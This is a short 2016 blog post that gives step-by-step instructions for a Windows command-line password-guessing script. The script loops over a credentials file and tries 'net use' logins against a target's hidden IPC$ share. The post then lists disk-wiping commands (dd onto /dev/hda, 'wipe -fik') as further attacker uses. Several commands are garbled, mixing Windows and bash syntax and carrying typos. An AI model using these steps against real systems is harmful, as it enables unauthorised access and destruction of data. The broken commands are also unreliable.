Saturday, 24 September 2016

Simple password guessing script

To create a simple automated password-guessing script, perform the following steps:

1.Create a simple username and password file using Windows Notepad.
Automated tools such as the Dictionary Generator are available to create this word list. Save the file on the C: drive as credentials.txt.

2. Pipe this file using the FOR command:

C:\> FOR /F “token=1, 2*” %i in (credentials.txt)

3. Type net use \\targetIP\IPC$ %i /u: %j to use the credentials.txt file to attempt to log on to the target system’s hidden share.

Another example of how the FOR command can be used by an attacker is to wipe the contents of the hard disk with zeros using the command syntax ((i=0; i<11; i++)); do dd if=/dev/random of=/dev/hda && dd if=/ dev/zero of=dev/hda done. The wipe command could also be used to perform the wiping of data from the hard disk using the command $ wipe -fik /dev/hda1.

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